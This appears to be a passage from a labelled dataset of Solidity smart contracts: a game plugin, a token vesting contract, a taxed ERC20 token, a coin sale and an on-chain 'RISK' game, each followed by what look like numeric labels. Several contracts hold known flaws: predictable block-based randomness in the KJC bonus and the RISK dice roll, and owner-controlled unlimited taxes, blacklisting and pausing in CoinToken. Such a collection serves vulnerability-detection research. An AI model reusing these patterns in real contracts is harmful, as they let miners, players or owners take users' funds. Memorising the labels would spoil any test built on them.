function _isOwner(address _claimant, uint40 _cutieId) internal view returns (bool) {
return (coreContract.ownerOf(_cutieId) == _claimant);
}
function _escrow(address _owner, uint40 _cutieId) internal {
coreContract.transferFrom(_owner, this, _cutieId);
}
function _transfer(address _receiver, uint40 _cutieId) internal {
coreContract.transfer(_receiver, _cutieId);
}
function _computeFee(uint128 _price) internal view returns (uint128) {
return _price * ownerFee / 10000;
}
function withdraw() public
{
require(
msg.sender == owner ||
msg.sender == address(coreContract)
);
if (address(this).balance > 0)
{
address(coreContract).transfer(address(this).balance);
}
}
function onRemove() public onlyCore
{
withdraw();
}
function run(
uint40,
uint256,
address
)
public
payable
onlyCore
{
revert();
}
}
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
contract ERC20Interface {
string public symbol;
string public name;
uint8 public decimals;
function transfer(address _to, uint _value, bytes _data) external returns (bool success);
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success);
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
function transferBulk(address[] to, uint[] tokens) public;
function approveBulk(address[] spender, uint[] tokens) public;
}
contract CuteCoinInterface is ERC20Interface
{
function mint(address target, uint256 mintedAmount) public;
function mintBulk(address[] target, uint256[] mintedAmount) external;
function burn(uint256 amount) external;
}
contract CoinMinting is CutiePluginBase
{
CuteCoinInterface token;
function setToken(CuteCoinInterface _token)
external
onlyOwner
{
token = _token;
}
function run(
uint40,
uint256,
address
)
public
payable
onlyCore
{
revert();
}
function runSigned(uint40, uint256 _parameter, address _target)
external
payable
onlyCore
{
token.mint(_target, _parameter);
}
} | 1 | 5,243 |
pragma solidity 0.4.25;
contract ERC20TokenInterface {
function totalSupply () external constant returns (uint);
function balanceOf (address tokenOwner) external constant returns (uint balance);
function transfer (address to, uint tokens) external returns (bool success);
function transferFrom (address from, address to, uint tokens) external returns (bool success);
}
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
contract OneYearDreamTokensVestingAdvisors {
using SafeMath for uint256;
ERC20TokenInterface public dreamToken;
address public withdrawalAddress = 0x0;
struct VestingStage {
uint256 date;
uint256 tokensUnlockedPercentage;
}
VestingStage[2] public stages;
uint256 public initialTokensBalance;
uint256 public tokensSent;
address public deployer;
modifier deployerOnly { require(msg.sender == deployer); _; }
modifier whenInitialized { require(withdrawalAddress != 0x0); _; }
modifier whenNotInitialized { require(withdrawalAddress == 0x0); _; }
event Withdraw(uint256 amount, uint256 timestamp);
constructor (ERC20TokenInterface token) public {
dreamToken = token;
deployer = msg.sender;
}
function () external {
withdrawTokens();
}
function initializeVestingFor (address account) external deployerOnly whenNotInitialized {
initialTokensBalance = dreamToken.balanceOf(this);
require(initialTokensBalance != 0);
withdrawalAddress = account;
vestingRules();
}
function getAvailableTokensToWithdraw () public view returns (uint256) {
uint256 tokensUnlockedPercentage = getTokensUnlockedPercentage();
if (tokensUnlockedPercentage >= 100) {
return dreamToken.balanceOf(this);
} else {
return getTokensAmountAllowedToWithdraw(tokensUnlockedPercentage);
}
}
function vestingRules () internal {
stages[0].date = 1545696000;
stages[1].date = 1561852800;
stages[0].tokensUnlockedPercentage = 50;
stages[1].tokensUnlockedPercentage = 100;
}
function withdrawTokens () private whenInitialized {
uint256 tokensToSend = getAvailableTokensToWithdraw();
sendTokens(tokensToSend);
if (dreamToken.balanceOf(this) == 0) {
selfdestruct(withdrawalAddress);
}
}
function sendTokens (uint256 tokensToSend) private {
if (tokensToSend == 0) {
return;
}
tokensSent = tokensSent.add(tokensToSend);
dreamToken.transfer(withdrawalAddress, tokensToSend);
emit Withdraw(tokensToSend, now);
}
function getTokensAmountAllowedToWithdraw (uint256 tokensUnlockedPercentage) private view returns (uint256) {
uint256 totalTokensAllowedToWithdraw = initialTokensBalance.mul(tokensUnlockedPercentage).div(100);
uint256 unsentTokensAmount = totalTokensAllowedToWithdraw.sub(tokensSent);
return unsentTokensAmount;
}
function getTokensUnlockedPercentage () private view returns (uint256) {
uint256 allowedPercent;
for (uint8 i = 0; i < stages.length; i++) {
if (now >= stages[i].date) {
allowedPercent = stages[i].tokensUnlockedPercentage;
}
}
return allowedPercent;
}
} | 0 | 1,623 |
pragma solidity ^0.8.9;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) internal {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract CoinToken is ERC20, Ownable, Pausable {
uint256 private initialSupply;
uint256 private denominator = 100;
uint256 private swapThreshold = 0.0000005 ether;
uint256 private devTaxBuy;
uint256 private marketingTaxBuy;
uint256 private liquidityTaxBuy;
uint256 private charityTaxBuy;
uint256 private devTaxSell;
uint256 private marketingTaxSell;
uint256 private liquidityTaxSell;
uint256 private charityTaxSell;
address private devTaxWallet;
address private marketingTaxWallet;
address private liquidityTaxWallet;
address private charityTaxWallet;
mapping (address => bool) private blacklist;
mapping (address => bool) private excludeList;
mapping (string => uint256) private buyTaxes;
mapping (string => uint256) private sellTaxes;
mapping (string => address) private taxWallets;
bool public taxStatus = true;
IUniswapV2Router02 private uniswapV2Router02;
IUniswapV2Factory private uniswapV2Factory;
IUniswapV2Pair private uniswapV2Pair;
constructor(string memory _tokenName,string memory _tokenSymbol,uint256 _supply,address[6] memory _addr,uint256[8] memory _value) ERC20(_tokenName, _tokenSymbol) payable
{
initialSupply =_supply * (10**18);
_setOwner(_addr[5]);
uniswapV2Router02 = IUniswapV2Router02(_addr[1]);
uniswapV2Factory = IUniswapV2Factory(uniswapV2Router02.factory());
uniswapV2Pair = IUniswapV2Pair(uniswapV2Factory.createPair(address(this), uniswapV2Router02.WETH()));
taxWallets["liquidity"] = _addr[0];
setBuyTax(_value[0], _value[1], _value[3], _value[2]);
setSellTax(_value[4], _value[5], _value[7], _value[6]);
setTaxWallets(_addr[2], _addr[3], _addr[4]);
exclude(msg.sender);
exclude(address(this));
payable(_addr[0]).transfer(msg.value);
_mint(msg.sender, initialSupply);
}
uint256 private marketingTokens;
uint256 private devTokens;
uint256 private liquidityTokens;
uint256 private charityTokens;
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * buyTaxes["marketing"];
devTokens += baseUnit * buyTaxes["dev"];
liquidityTokens += baseUnit * buyTaxes["liquidity"];
charityTokens += baseUnit * buyTaxes["charity"];
} else if(to == address(uniswapV2Pair)) {
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(marketingTokens + devTokens + liquidityTokens + charityTokens, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10**18) / taxSum)) / 10**18;
uint256 marketingETH = (ethGained * ((marketingTokens * 10**18) / taxSum)) / 10**18;
uint256 devETH = (ethGained * ((devTokens * 10**18) / taxSum)) / 10**18;
uint256 charityETH = (ethGained * ((charityTokens * 10**18) / taxSum)) / 10**18;
_approve(address(this), address(uniswapV2Router02), liquidityToken);
(uint amountToken, uint amountETH, uint liquidity) = uniswapV2Router02.addLiquidityETH{value: liquidityETH}(
address(this),
liquidityToken,
0,
0,
taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
taxWallets["marketing"].call{value: marketingETH}("");
taxWallets["dev"].call{value: devETH}("");
taxWallets["charity"].call{value: charityETH}("");
if(ethGained - (marketingETH + devETH + liquidityETH + charityETH) > 0) {
taxWallets["marketing"].call{value: ethGained - (marketingETH + devETH + liquidityETH + charityETH)}("");
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override virtual {
require(!paused(), "CoinToken: token transfer while paused");
require(!isBlacklisted(msg.sender), "CoinToken: sender blacklisted");
require(!isBlacklisted(recipient), "CoinToken: recipient blacklisted");
require(!isBlacklisted(tx.origin), "CoinToken: sender blacklisted");
if(taxStatus) {
amount = handleTax(sender, recipient, amount);
}
super._transfer(sender, recipient, amount);
}
function triggerTax() public onlyOwner {
handleTax(address(0), address(uniswapV2Pair), 0);
}
function pause() public onlyOwner {
require(!paused(), "CoinToken: Contract is already paused");
_pause();
}
function unpause() public onlyOwner {
require(paused(), "CoinToken: Contract is not paused");
_unpause();
}
function burn(uint256 amount) public onlyOwner {
_burn(msg.sender, amount);
}
function enableBlacklist(address account) public onlyOwner {
require(!blacklist[account], "CoinToken: Account is already blacklisted");
blacklist[account] = true;
}
function disableBlacklist(address account) public onlyOwner {
require(blacklist[account], "CoinToken: Account is not blacklisted");
blacklist[account] = false;
}
function exclude(address account) public onlyOwner {
require(!isExcluded(account), "CoinToken: Account is already excluded");
excludeList[account] = true;
}
function removeExclude(address account) public onlyOwner {
require(isExcluded(account), "CoinToken: Account is not excluded");
excludeList[account] = false;
}
function setBuyTax(uint256 dev, uint256 marketing, uint256 liquidity, uint256 charity) public onlyOwner {
buyTaxes["dev"] = dev;
buyTaxes["marketing"] = marketing;
buyTaxes["liquidity"] = liquidity;
buyTaxes["charity"] = charity;
}
function setSellTax(uint256 dev, uint256 marketing, uint256 liquidity, uint256 charity) public onlyOwner {
sellTaxes["dev"] = dev;
sellTaxes["marketing"] = marketing;
sellTaxes["liquidity"] = liquidity;
sellTaxes["charity"] = charity;
}
function setTaxWallets(address dev, address marketing, address charity) public onlyOwner {
taxWallets["dev"] = dev;
taxWallets["marketing"] = marketing;
taxWallets["charity"] = charity;
}
function enableTax() public onlyOwner {
require(!taxStatus, "CoinToken: Tax is already enabled");
taxStatus = true;
}
function disableTax() public onlyOwner {
require(taxStatus, "CoinToken: Tax is already disabled");
taxStatus = false;
}
function isBlacklisted(address account) public view returns (bool) {
return blacklist[account];
}
function isExcluded(address account) public view returns (bool) {
return excludeList[account];
}
receive() external payable {}
} | 0 | 1,839 |
pragma solidity ^0.4.16;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract KJC {
string public name = "KimJ Coin";
string public symbol = "KJC";
uint8 public decimals = 18;
uint256 public totalSupply =2000000* (10 ** 18);
uint256 public totaldivineTokensIssued = 0;
address owner = msg.sender;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
bool public saleEnabled = true;
uint256 public totalEthereumRaised = 0;
uint256 public KJCPerEthereum = 10000;
function KJC() public {
balanceOf[owner] += totalSupply;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function _transfer(address _from, address _to, uint _value) internal
{
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public
{
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
{
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success)
{
if (_value != 0 && allowance[msg.sender][_spender] != 0) { return false; }
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function() public payable {
require(saleEnabled);
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalEthereumRaised += msg.value;
uint256 tokensIssued = (msg.value * KJCPerEthereum);
if (msg.value >= 10 finney)
{
bytes20 divineHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (divineHash[0] == 0 || divineHash[0] == 1)
{
uint8 divineMultiplier =
((divineHash[1] & 0x01 != 0) ? 1 : 0) + ((divineHash[1] & 0x02 != 0) ? 1 : 0) +
((divineHash[1] & 0x04 != 0) ? 1 : 0) + ((divineHash[1] & 0x08 != 0) ? 1 : 0);
uint256 divineTokensIssued = (msg.value * KJCPerEthereum) * divineMultiplier;
tokensIssued += divineTokensIssued;
totaldivineTokensIssued += divineTokensIssued;
}
}
totalSupply += tokensIssued;
balanceOf[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
function disablePurchasing() public
{
require(msg.sender == owner);
saleEnabled = false;
}
function getStats() public constant returns (uint256, uint256, uint256, bool) {
return (totalEthereumRaised, totalSupply, totaldivineTokensIssued, saleEnabled);
}
} | 1 | 4,397 |
pragma solidity ^0.4.25;
contract RISK{
uint16[19][3232] private adjacencies;
address private admin = msg.sender;
uint256 private seed = block.timestamp;
uint256 public roundID;
mapping(uint256=>RoundData) public Rounds;
bool public isactive;
mapping(address=>uint256) private playerlastroundwithdrawn;
uint16 public beginterritories = 5;
uint16 public maxroll= 6;
uint256 public trucetime=72 hours;
uint256 public price=30 finney;
uint256 public maxextensiontruce=50;
mapping(bytes32=>address) public ownerXname;
mapping(address=>bytes32) public nameXaddress;
mapping(bytes32=>uint256) public priceXname;
function createnation(uint16[] territories,string _name,
uint256 RGB)
public
payable
{
RequireHuman();
require(isactive);
uint256 _rID = roundID;
uint16 _teamcnt =Rounds[_rID].teamcnt;
require(_teamcnt<255);
RGB=colorfilter(RGB);
require(!Rounds[_rID].iscolorregistered[RGB]);
bytes32 name=nameFilter(_name);
require(ownerXname[name]==msg.sender);
require(Rounds[_rID].isnameregistered[name]==false);
uint16 _beginterritories = Rounds[roundID].beginterritories;
require(msg.value==Rounds[_rID].price);
require(territories.length==_beginterritories);
require(Rounds[_rID].teamXaddr[msg.sender]==0);
uint i;
for (i =0 ; i<territories.length;i++){
require(territories[i]<uint16(2750));
require(getownership(territories[i])==uint16(0));
}
_teamcnt+=1;
setownership(territories[0],_teamcnt);
for (i =1 ; i<territories.length;i++){
require(hasteamadjacency(territories[i],_teamcnt));
setownership(territories[i],_teamcnt);
}
Rounds[_rID].validrollsXaddr[msg.sender]+=_beginterritories;
Rounds[_rID].validrollsXteam[_teamcnt]+=_beginterritories;
Rounds[_rID].teamXaddr[msg.sender]=_teamcnt;
Rounds[_rID].nationnameXteam[_teamcnt]=name;
Rounds[_rID].colorXteam[_teamcnt]=RGB;
Rounds[_rID].iscolorregistered[RGB]=true;
Rounds[_rID].teamcnt=_teamcnt;
Rounds[_rID].isnameregistered[name]=true;
Rounds[_rID].pot+=msg.value;
emit oncreatenation(
nameXaddress[msg.sender],
name,
RGB,
_teamcnt,
territories,
msg.sender);
}
function roll(uint16[] territories,uint16 team)
payable
public
{
RequireHuman();
require(isactive);
require(team!=0);
uint256 _rID = roundID;
uint256 _now = block.timestamp;
uint256 _roundstart = Rounds[_rID].roundstart;
uint256 _trucetime = Rounds[_rID].trucetime;
if (Rounds[_rID].teamXaddr[msg.sender]==0){
Rounds[_rID].teamXaddr[msg.sender]=team;
}
else{
require(Rounds[_rID].teamXaddr[msg.sender]==team);
}
require(msg.value==Rounds[_rID].price );
uint16 _maxroll = Rounds[_rID].maxroll;
seed = uint256(keccak256(abi.encodePacked((seed^block.timestamp))));
uint256 rolled = (seed % _maxroll)+1;
uint256 validrolls=0;
uint16[] memory territoriesconquered = new uint16[](_maxroll);
if (_roundstart+_trucetime<_now){
for (uint i = 0 ; i<territories.length;i++){
if (getownership(territories[i])==team){
continue;
}
if (hasteamadjacency(territories[i],team)){
territoriesconquered[validrolls]=territories[i];
setownership(territories[i],team);
validrolls+=1;
if (validrolls==rolled){
break;
}
}
}
}
else{
require(Rounds[_rID].validrollsXteam[team]<Rounds[_rID].maxextensiontruce);
for (i = 0 ; i<territories.length;i++){
if (getownership(territories[i])!=0){
continue;
}
if (hasteamadjacency(territories[i],team)){
territoriesconquered[validrolls]=territories[i];
setownership(territories[i],team);
validrolls+=1;
if (validrolls==rolled){
break;
}
}
}
}
Rounds[_rID].validrollsXaddr[msg.sender]+=validrolls;
Rounds[_rID].validrollsXteam[team]+=validrolls;
uint256 refund;
if (validrolls<rolled){
refund = ((rolled-validrolls)*msg.value)/rolled;
}
Rounds[_rID].pot+=msg.value-refund;
if (refund>0){
msg.sender.transfer(refund);
}
emit onroll(
nameXaddress[msg.sender],
Rounds[_rID].nationnameXteam[team],
rolled,
team,
territoriesconquered,
msg.sender
);
}
function endround()
public
{
RequireHuman();
require(isactive);
uint256 _rID = roundID;
require(Rounds[_rID].teamcnt>0);
uint256 _pot = Rounds[_rID].pot;
uint256 fee =_pot/20;
uint256 nextpot = _pot/20;
uint256 finalpot = _pot-fee-nextpot;
uint256 _roundstart=Rounds[_rID].roundstart;
uint256 _now=block.timestamp;
require(_roundstart+Rounds[_rID].trucetime<_now);
uint256[] memory _owners_ = new uint256[](86);
for (uint16 i = 0;i<86;i++){
_owners_[i]=Rounds[_rID].owners[i];
}
uint16 t;
uint16 team;
uint16 j;
for ( i = 1; i<uint16(2750);i++){
t=getownership2(i,_owners_[i/32]);
if (t!=uint16(0)){
team=t;
j=i+1;
break;
}
}
for ( i = j; i<uint16(2750);i++){
t=getownership2(i,_owners_[i/32]);
if(t>0){
if(t!=team){
require(false);
}
}
}
Rounds[_rID].teampotshare[team]=finalpot;
Rounds[_rID].winner=Rounds[_rID].nationnameXteam[team];
admin.transfer(fee);
_rID+=1;
Rounds[_rID].trucetime =trucetime;
Rounds[_rID].roundstart =block.timestamp;
Rounds[_rID].beginterritories =beginterritories;
Rounds[_rID].maxroll = maxroll;
Rounds[_rID].pot = nextpot;
Rounds[_rID].price = price;
Rounds[_rID].maxextensiontruce = maxextensiontruce;
roundID=_rID;
emit onendround();
}
function withdraw()
public
{
RequireHuman();
uint256 balance;
uint256 _roundID=roundID;
balance=getbalance(_roundID);
playerlastroundwithdrawn[msg.sender]=_roundID-1;
if (balance>0){
msg.sender.transfer(balance);
}
